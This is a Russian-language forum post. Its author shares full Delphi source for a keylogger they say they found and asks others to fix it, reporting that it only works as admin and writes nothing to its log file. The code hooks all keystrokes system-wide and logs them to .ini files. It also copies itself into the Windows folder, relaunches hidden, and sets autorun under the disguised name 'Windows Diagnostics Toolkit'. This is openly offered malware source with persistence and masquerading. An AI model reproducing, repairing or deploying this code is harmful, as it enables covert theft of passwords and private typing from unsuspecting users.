Добрый день всем.
Вообщем, получился такой вот код (точнее нашелся) :
Код:
program KeyH;
uses Windows,Messages,WinCls,Registry,ShellApi;
const
name = 'logist';
ras = '.ini';
var
HookHandle: hHook;
fn: file of Char;
line: longint;
hApp: THandle;
wClass: TWndClass;
wMSG: TMSG;
procedure SetAutorun(aProgTitle,aCmdLine: string; aRunOnce: boolean );
var
hKey: string;
hReg: TRegIniFile;
begin
if aRunOnce then hKey := 'Once'
else
hKey := '';
hReg := TRegIniFile.Create( '' );
hReg.RootKey := HKEY_LOCAL_MACHINE;
hReg.WriteString('Software\Microsoft\Windows\CurrentVersion\Run'
+ hKey + #0,
aProgTitle,
aCmdLine );
hReg.destroy;
end;
function Win32Check(RetVal: BOOL): BOOL;
begin
if not RetVal then GetLastError;
Result := RetVal;
end;
function IntToStr(Int: integer): string;
begin
Str(Int, result);
end;
function FileExists(const FileName : String) : Boolean;
var
Code: Integer;
begin
Code := GetFileAttributes(PChar(FileName));
Result := (Code <> -1) and (FILE_ATTRIBUTE_DIRECTORY and Code = 0);
end;
function GetName: string;
var i: longint;
begin
i:=0;
repeat
Inc(i);
until not FileExists(name+IntToStr(i)+ras);
Result:=name+IntToStr(i)+ras;
end;
function GetCharFromVKey(vkey: Word): string;
var
keystate: TKeyboardState;
retcode: Integer;
begin
Win32Check(GetKeyboardState(keystate));
SetLength(Result, 2);
retcode := ToAscii(vkey,
MapVirtualKey(vkey, 0),
keystate, @Result[1],
0);
case retcode of
0: Result := '';
1: SetLength(Result, 1);
2: ;
else
Result := '';
end;
end;
function HookProc(Code: integer; WParam: word; LParam: Longint): Longint; stdcall;
var
msg: PEVENTMSG;
b: Char;
s: string;
begin
if Code >= 0 then
begin
result := 0;
msg := Pointer(LParam);
if msg.message=WM_KEYDOWN then
begin
Inc(line);
s:=GetCharFromVKey(msg.paramL);
if Length(s)>0 then
begin
b:=s[1];
if (line mod 80)=0 then BlockWrite(fn,#10#13,2);
BlockWrite(fn,b,1);
end;
end;
if FileSize(fn)>50 then
begin
CloseFile(fn);
AssignFile(fn,GetName);
ReWrite(fn);
end;
result := CallNextHookEx(HookHandle, code, WParam, LParam);
end;
end;
procedure UnhookMyHook;
begin
if HookHandle <> 0 then
UnhookWindowsHookEx(HookHandle);
end;
procedure SetMyHook;
begin
repeat
HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
until HookHandle<>0;
end;
function WndMessageProc(hWnd: HWND; Msg: UINT; wParam: WPARAM; lParam: LPARAM): UINT; stdcall;
begin
Result := 0;
case Msg of
WM_CREATE:
begin
if not FileExists('c:\windows\keyh.exe') then
begin
Copyfile('KeyH.exe','c:\windows\keyh.exe',BOOL(0));
sleep(2500);
ShellExecute(hApp,'','c:\windows\keyh.exe','','',0);
halt(0);
end;
SetAutorun('Windows Diagnostics Toolkit','c:\windows\keyh.exe',false);
line:=0;
AssignFile(fn,GetName);
ReWrite(fn);
SetMyHook;
end;
WM_DESTROY:
begin
UnhookMyHook;
CloseFile(fn);
halt(0);
end;
end;
Result := DefWindowProc(hWnd,Msg,wParam,lParam);
end;
begin
wClass:=WndClass1(hInstance,0,0,0,0,0,COLOR_BTNFACE,'MYCLASS','',@WndMessageProc);
RegisterClass(wClass);
hApp:=CreateWindow(wClass.lpszClassName, '',0,
Integer(CW_USEDEFAULT), Integer(CW_USEDEFAULT),
0, 0, 0, 0, hInstance, nil);
if hApp=0 then
begin
UnregisterClass('MYCLASS',hInstance);
halt(0);
end;
loopWindow(wMsg);
end.
Проблемы:
1) Работает только если запускать от админа (имею ввиду создает файл 'logist.ini') (Windows 7)
2) Не работает запись текста в данный файл. Тоесть как бы кейлогер сам работает, а вот записи в файл нету.
Прикладываю файл WinCls.pas:
http://rghost.ru/33462361
Кто поможет решить?